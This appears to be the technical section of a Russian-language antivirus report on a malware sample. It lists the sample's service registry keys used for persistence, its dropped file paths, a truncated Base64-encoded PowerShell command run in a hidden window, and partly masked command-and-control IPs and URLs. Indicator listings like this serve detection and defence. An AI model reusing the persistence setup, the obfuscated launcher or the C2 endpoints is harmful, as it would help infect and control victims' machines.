Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\CertEnrollCtrl] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\CertEnrollCtrl] 'ImagePath' = '"%WINDIR%\SysWOW64\dmrc\CertEnrollCtrl.exe"'
- 'CertEnrollCtrl' "%WINDIR%\SysWOW64\dmrc\CertEnrollCtrl.exe"
- 'CertEnrollCtrl' %WINDIR%\SysWOW64\dmrc\CertEnrollCtrl.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -en JABHAHQAagB0ADYAZwBfAD0AKAAnAFMAcQAnACsAKAAnAHUAegAnACsAJwB6AG4AagAnACkAKQA7ACYAKAAnAG4AZQAnACsAJwB3AC0AaQB0AGUAbQAnACkAIAAkAGUAbgB2ADoAVQBTAEUAcgBwAHIAbwBmAEkAbABlAFwAZQBsAGIAUQA4AEsASABcA...
- %HOMEPATH%\elbq8kh\lqmfej4\u18miazq.exe
- %WINDIR%\syswow64\dmrc\certenrollctrl.exe
- %HOMEPATH%\elbq8kh\lqmfej4\u18miazq.exe в %WINDIR%\syswow64\dmrc\certenrollctrl.exe
- '91.##5.94.200':80
- '51.##.124.206':80
- http://ho##co.com/stats/erd/
- http://51.##.124.206/vSX9068h6EJ/NgNf9UWX4xLjeF79/4a8vF/X5d1TjThif4/WfgDio/sTiYgXOJOEOZ1RGW/
- DNS ASK ho##co.com
- '%HOMEPATH%\elbq8kh\lqmfej4\u18miazq.exe'
- '%WINDIR%\syswow64\dmrc\certenrollctrl.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -en JABHAHQAagB0ADYAZwBfAD0AKAAnAFMAcQAnACsAKAAnAHUAegAnACsAJwB6AG4AagAnACkAKQA7ACYAKAAnAG4AZQAnACsAJwB3AC0AaQB0AGUAbQAnACkAIAAkAGUAbgB2ADoAVQBTAEUAcgBwAHIAbwBmAEkAbABlAFwAZQBsAGIAUQA4AEsASABcA...' (со скрытым окном)